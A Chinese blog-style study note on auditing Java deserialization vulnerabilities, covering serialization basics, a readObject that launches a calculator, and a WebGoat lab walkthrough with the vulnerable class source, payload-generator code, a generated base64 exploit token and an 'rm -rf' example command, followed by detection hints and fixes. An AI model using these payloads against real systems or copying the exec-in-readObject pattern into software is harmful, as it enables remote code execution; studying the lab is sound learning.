Java代码审计安全篇-反序列化漏洞

前言:

堕落了三个月,现在因为被找实习而困扰,着实自己能力不足,从今天开始 每天沉淀一点点 ,准备秋招 加油

注意:

本文章参考qax的网络安全java代码审计和部分师傅审计思路以及webgoat靶场,记录自己的学习过程,还希望各位博主 师傅 大佬 勿喷,还希望大家指出错误

初识 Java序列化和反序列化:

1.概念:

序列化是将某些对象转换为以后可以恢复的数据格式的过程。人们经常序列化对象,以便将它们保存到存储中,或作为通信的一部分发送。

反序列化是该过程的反面,从某种格式获取数据,并将其重建为对象。如今,用于序列化数据的最流行的数据格式是 JSON。在此之前,它是 XML。

2. 好处:

能够实现数据的持久化,通过序列化可以把数据永久保存在硬盘上,也可理解为通过序列化将数据保存在文件中。

3.序列化和反序列化的过程举例:

参考https://www.cnblogs.com/LoYoHo00/articles/17654380.html

类文件 Person.java

java 复制代码
package lemo;
import java.io.Serializable;
​
public class Person implements Serializable {
​
    private String name;
    private int age;
​
    public Person(){
​
    }
    // 构造函数
    public Person(String name, int age){
        this.name = name;
        this.age = age;
    }
​
    @Override
    public String toString(){
        return "src.Person{" +
                "name='" + name + '\'' +
                ", age=" + age +
                '}';
    }
}

序列化文件:SerializationTest.java

java 复制代码
package lemo;

import java.io.FileOutputStream;//文件输出流
import java.io.IOException;//用于声明可能会抛出IOException的方法。当一个方法可能会引发输入/输出异常时,可以使用throws IOException来通知调用该方法的其他部分,让它们做出相应的异常处理。
import java.io.ObjectOutput;
import java.io.ObjectOutputStream;//将对象以二进制形式写入输出流。它可以将对象序列化成字节流,用于在网络中传输或保存到文件中。

public class SerializationTest {
    public static void serialize(Object obj) throws IOException{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));//输出流对象
        oos.writeObject(obj);//序列化
    }

    public static void main(String[] args) throws Exception{
        Person person = new Person("aa",22);
        System.out.println(person);
        serialize(person);
    }
}

反序列化文件:UnserializeTest.java

java 复制代码
package lemo;

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class UnserializeTest {
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

    public static void main(String[] args) throws Exception{
        Person person = (Person)unserialize("ser.bin");
        System.out.println(person);//反序列化
    }
}

我们运行SerializationTest.java得到

java 复制代码
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));//输出流对象
        oos.writeObject(obj);//序列化

serialize 方法的实现中,首先创建了一个 ObjectOutputStream 对象 oos,它接受一个 FileOutputStream 对象作为参数,用于指定输出流写入的文件名为 "ser.bin"。然后,通过调用 oos.writeObject(obj) 方法,将传入的对象进行序列化,将序列化后的数据写入输出流。

我们运行UnserializationTest.java得到

java 复制代码
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();

readObject()方法被调用,它从输入流中读取字节并将其反序列化为对象

注意:
1.静态成员变量是不能被序列化

序列化是针对对象属性的,而静态成员变量是属于类的。

2.transient 标识的对象成员变量不参与序列化

举例:

Person.java 中的name加上transient的类型标识

加完之后再跑我们的序列化与反序列化的两个程序运行得到 发现

name打印为NULL 是因为transient 标识的对象成员变量不参与序列化

初始反序列化漏洞

序列化和反序列化中有两个重要的方法------------writeObject和readObject

上面举例也是使用这两个方法

1.可能存在漏洞的场景

(1)入口类的readObject直接调用危险方法

我们只需在Person.java里面添加一个触发计算器的代码:

java 复制代码
package src;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
​
public class Person implements Serializable {
​
    private transient String name;
    private int age;
​
    public Person(){
​
    }
    // 构造函数
    public Person(String name, int age){
        this.name = name;
        this.age = age;
    }
​
    @Override
    public String toString(){
        return "src.Person{" +
                "name='" + name + '\'' +
                ", age=" + age +
                '}';
    }
​
    public void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException{
        ois.defaultReadObject();//调用默认机制,以恢复对象的非静态和非瞬态(非 transient 修饰)字段
        Runtime.getRuntime().exec("calc");//在操作系统上执行外部命令。
    }
}

先后运行序列化 和反序列化代码就会发现弹出了计算器

只有实现了Serializable接口的类的对象才可以被序列化,Serializable接口是启用其序列化功能的接口,实现java.io.Serializable 接口的类才是可序列化的,没有实现此接口的类将不能使它们的任一状态被序列化或逆序列化。这里的readObject()执行了Runtime.getRuntime().exec("calc"),而readObject()方法的作用正是从一个源输入流中读取字节序列,再把它们反序列化为一个对象,并将其返回,readObject()是可以重写的,可以定制反序列化的一些行为。

(2)入口参数中包含可控类,该类有危险方法,readObject时调用

(3)入口参数中包含可控类,该类又调用其他有危险方法的类,readObject时调用

(4)构造函数/静态代码块等加载时隐式执行

2.Webgoat说明

ClassPath 中包含的类
攻击者需要在类路径中找到支持序列化且具有危险实现的类。readObject()

java 复制代码
package org.dummy.insecure.framework;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.time.LocalDateTime;

public class VulnerableTaskHolder implements Serializable {

        private static final long serialVersionUID = 1;

        private String taskName;
        private String taskAction;
        private LocalDateTime requestedExecutionTime;

        public VulnerableTaskHolder(String taskName, String taskAction) {
                super();
                this.taskName = taskName;
                this.taskAction = taskAction;
                this.requestedExecutionTime = LocalDateTime.now();
        }

        private void readObject( ObjectInputStream stream ) throws Exception {
        //deserialize data so taskName and taskAction are available
                stream.defaultReadObject();

                //blindly run some code. #code injection
                Runtime.getRuntime().exec(taskAction);
     }
}

利用:

如果存在上面显示的 java 类,攻击者可以序列化该对象并获取远程代码执行。

java 复制代码
VulnerableTaskHolder go = new VulnerableTaskHolder("delete all", "rm -rf somefile");

ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(go);
oos.flush();
byte[] exploit = bos.toByteArray();

原理跟上边那个差不多

3.Webgoat靶场实战
java 复制代码
rO0ABXQAVklmIHlvdSBkZXNlcmlhbGl6ZSBtZSBkb3duLCBJIHNoYWxsIGJlY29tZSBtb3JlIHBvd2VyZnVsIHRoYW4geW91IGNhbiBwb3NzaWJseSBpbWFnaW5l

我们输入aa试试然后抓包可以看到接口名为InsecureDeserialization/task,那就后端全局搜索InsecureDeserialization/task,最终定位到InsecureDeserializationTask.java

得到InsecureDeserializationTask.java源码

java 复制代码
package org.owasp.webgoat.deserialization;

import org.dummy.insecure.framework.VulnerableTaskHolder;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentHints;
import org.owasp.webgoat.assignments.AttackResult;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;

import java.io.*;
import java.util.Base64;

@RestController
@AssignmentHints({"insecure-deserialization.hints.1", "insecure-deserialization.hints.2", "insecure-deserialization.hints.3"})
public class InsecureDeserializationTask extends AssignmentEndpoint {

    @PostMapping("/InsecureDeserialization/task")
    @ResponseBody
    public AttackResult completed(@RequestParam String token) throws IOException {
        String b64token;
        long before;
        long after;
        int delay;

        b64token = token.replace('-', '+').replace('_', '/');

        try (ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(b64token)))) {
            before = System.currentTimeMillis();
            Object o = ois.readObject();
            if (!(o instanceof VulnerableTaskHolder)) {
                if (o instanceof String) {
                    return failed(this).feedback("insecure-deserialization.stringobject").build();
                }
                return failed(this).feedback("insecure-deserialization.wrongobject").build();
            }
            after = System.currentTimeMillis();
        } catch (InvalidClassException e) {
            return failed(this).feedback("insecure-deserialization.invalidversion").build();
        } catch (IllegalArgumentException e) {
            return failed(this).feedback("insecure-deserialization.expired").build();
        } catch (Exception e) {
            return failed(this).feedback("insecure-deserialization.invalidversion").build();
        }

        delay = (int) (after - before);
        if (delay > 7000) {
            return failed(this).build();
        }
        if (delay < 3000) {
            return failed(this).build();
        }
        return success(this).build();
    }
}

后端拿到我们的token之后进行了一个特殊符号替换,然后进行了base64解码,解码过后进行了readObject()反序列化操作,最后判断一下这个对象是不是VulnerableTaskHolder的实例。所以,我们反序列化的对象也就确定了,那就是VulnerableTaskHolder类的实例。

那我们就重点关注VulnerableTaskHolder类的实现:

源码:

java 复制代码
package org.dummy.insecure.framework;

import java.io.*;
import java.time.LocalDateTime;
import java.util.Base64;

import lombok.extern.slf4j.Slf4j;

@Slf4j
public class VulnerableTaskHolder implements Serializable {

	private static final long serialVersionUID = 2;

	private String taskName;
	private String taskAction;
	private LocalDateTime requestedExecutionTime;
	
	public VulnerableTaskHolder(String taskName, String taskAction) {
		super();
		this.taskName = taskName;
		this.taskAction = taskAction;
		this.requestedExecutionTime = LocalDateTime.now();
	}
	
	@Override
	public String toString() {
		return "VulnerableTaskHolder [taskName=" + taskName + ", taskAction=" + taskAction + ", requestedExecutionTime="
				+ requestedExecutionTime + "]";
	}

	/**
	 * Execute a task when de-serializing a saved or received object.
	 * @author stupid develop
	 */
	private void readObject( ObjectInputStream stream ) throws Exception {
        //unserialize data so taskName and taskAction are available
		stream.defaultReadObject();
		
		//do something with the data
		log.info("restoring task: {}", taskName);
		log.info("restoring time: {}", requestedExecutionTime);
		
		if (requestedExecutionTime!=null && 
				(requestedExecutionTime.isBefore(LocalDateTime.now().minusMinutes(10))
				|| requestedExecutionTime.isAfter(LocalDateTime.now()))) {
			//do nothing is the time is not within 10 minutes after the object has been created
			log.debug(this.toString());
			throw new IllegalArgumentException("outdated");
		}
		
		//condition is here to prevent you from destroying the goat altogether
		if ((taskAction.startsWith("sleep")||taskAction.startsWith("ping"))
				&& taskAction.length() < 22) {
		log.info("about to execute: {}", taskAction);
		try {
            Process p = Runtime.getRuntime().exec(taskAction);
            BufferedReader in = new BufferedReader(
                                new InputStreamReader(p.getInputStream()));
            String line = null;
            while ((line = in.readLine()) != null) {
                log.info(line);
            }
        } catch (IOException e) {
            log.error("IO Exception", e);
        }
		}
       
    }
	
}

关注readObject方法

java 复制代码
if ((taskAction.startsWith("sleep")||taskAction.startsWith("ping"))
				&& taskAction.length() < 22) {
		log.info("about to execute: {}", taskAction);
		try {
            Process p = Runtime.getRuntime().exec(taskAction);
            BufferedReader in = new BufferedReader(
                                new InputStreamReader(p.getInputStream()));
            String line = null;
            while ((line = in.readLine()) != null) {
                log.info(line);
            }
        } catch (IOException e) {
            log.error("IO Exception", e);
        }
		}

可以看到首先判断requestedExecutionTime变量值是否是当前时间,如果是当前时间则判断taskAction变量是否是以sleep或者ping开头且长度小于22,如果满足的话就将taskAction变量值传给Runtime.getRuntime().exec执行命令。这里的taskAction是我们可以控制的

然后关注发现这个类的有参构造器发现其会自动将this.requestedExecutionTime赋值为当前时间

所以我们只需关注 taskAction变量

然后根据上面的漏洞利用进行构造paylaod

注意两点:

创建的对象必须是 VulnerableTaskHolder 类的实例,包名得一致;

创建的序列化对象,时间戳必须在当前时间的前十分钟以内,否则会报 The task is not executable between now and the next ten minutes, so the action will be ignored. Maybe you copied an old solution? Let's try again 错误。所以 VulnerableTaskHolder 类中的构造方法得减去一定得时间。

我直接将构造代码写在了这个类文件里面,因为在序列化时会将package包名也序列化进去,这样也比较方便。

java 复制代码
package org.dummy.insecure.framework;  
import java.io.ByteArrayOutputStream;  
import java.io.ObjectOutputStream;  
import java.util.Base64;

  
public class VulnerableTaskHolder {  
  
    static public void main(String[] args){  
        try{  
            VulnerableTaskHolder go = new VulnerableTaskHolder("sleep", "sleep 6");  
            ByteArrayOutputStream bos = new ByteArrayOutputStream();  
            ObjectOutputStream oos = new ObjectOutputStream(bos);  
            oos.writeObject(go);  
            oos.flush();  
            byte[] exploit = bos.toByteArray();  
            String exp = Base64.getEncoder().encodeToString(exploit);  
            System.out.println(exp);  
        } catch (Exception e){  
  
        }  
    }  
}

或者使用ping

java 复制代码
package org.dummy.insecure.framework;

import java.io.Serializable;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.util.Base64;

public class VulnerableTaskHolder implements Serializable {
	private static final long serialVersionUID = 2;
	
	private String taskAction;
	
	public VulnerableTaskHolder(String taskAction) {
		this.taskAction = taskAction;
	}
	
	public static void main(String[] args) throws IOException {
		VulnerableTaskHolder vuln = new VulnerableTaskHolder("ping 1 -n 6");
		ByteArrayOutputStream bOut = new ByteArrayOutputStream();
		ObjectOutputStream objOut = new ObjectOutputStream(bOut);
		objOut.writeObject(vuln);
		String str = Base64.getEncoder().encodeToString(bOut.toByteArray());
		System.out.println(str);
		objOut.close();
	}
}

生成

java 复制代码
rO0ABXNyADFvcmcuZHVtbXkuaW5zZWN1cmUuZnJhbWV3b3JrLlZ1bG5lcmFibGVUYXNrSG9sZGVyAAAAAAAAAAICAAFMAAp0YXNrQWN0aW9udAASTGphdmEvbGFuZy9TdHJpbmc7eHB0AAtwaW5nIDEgLW4gNg==

提交成功

如何发现漏洞

参考https://www.cnblogs.com/yokan/p/15232644.html

1.从流量中发现序列化的痕迹,关键字:ac ed 00 05,rO0AB

2.Java RMI的传输100%基于反序列化,Java RMI的默认端口是1099端口

3.从源码入手,可以被序列化的类一定实现了Serializable接口

4.观察反序列化时的readObject()方法是否重写,重写中是否有设计不合理,可以被利用之处

从可控数据的反序列化或间接的反序列化接口入手,再在此基础上尝试构造序列化的对象。

ysoserial是一款非常好用的Java反序列化漏洞检测工具,该工具通过多种机制构造PoC,并灵活的运用了反射机制和动态代理机制,值得学习和研究。

其他反序列化漏洞

Apache Shiro 反序列化漏洞

后面再学吧 可参考

https://cloud.tencent.com/developer/article/2396001

fastjson 漏洞

一文读懂面试官都在问的Fastjson漏洞 - FreeBuf网络安全行业门户

这个当然还有其他的后面再深入了解了解

修复

  1. 通过Hook resolveClass来校验反序列化的类

  2. 使用ObjectInputFilter来校验反序列化的类

  3. 黑名单校验修复

相关推荐
九圣残炎1 分钟前
【从零开始的LeetCode-算法】3354. 使数组元素等于零
java·算法·leetcode
天天扭码35 分钟前
五天SpringCloud计划——DAY1之mybatis-plus的使用
java·spring cloud·mybatis
程序猿小柒41 分钟前
leetcode hot100【LeetCode 4.寻找两个正序数组的中位数】java实现
java·算法·leetcode
不爱学习的YY酱1 小时前
【操作系统不挂科】<CPU调度(13)>选择题(带答案与解析)
java·linux·前端·算法·操作系统
丁总学Java1 小时前
Maven项目打包,com.sun.tools.javac.processing
java·maven
kikyo哎哟喂2 小时前
Java 代理模式详解
java·开发语言·代理模式
duration~2 小时前
SpringAOP模拟实现
java·开发语言
小码ssim2 小时前
IDEA使用tips(LTS✍)
java·ide·intellij-idea
潜洋2 小时前
Spring Boot教程之五:在 IntelliJ IDEA 中运行第一个 Spring Boot 应用程序
java·spring boot·后端
暮志未晚Webgl3 小时前
109. UE5 GAS RPG 实现检查点的存档功能
android·java·ue5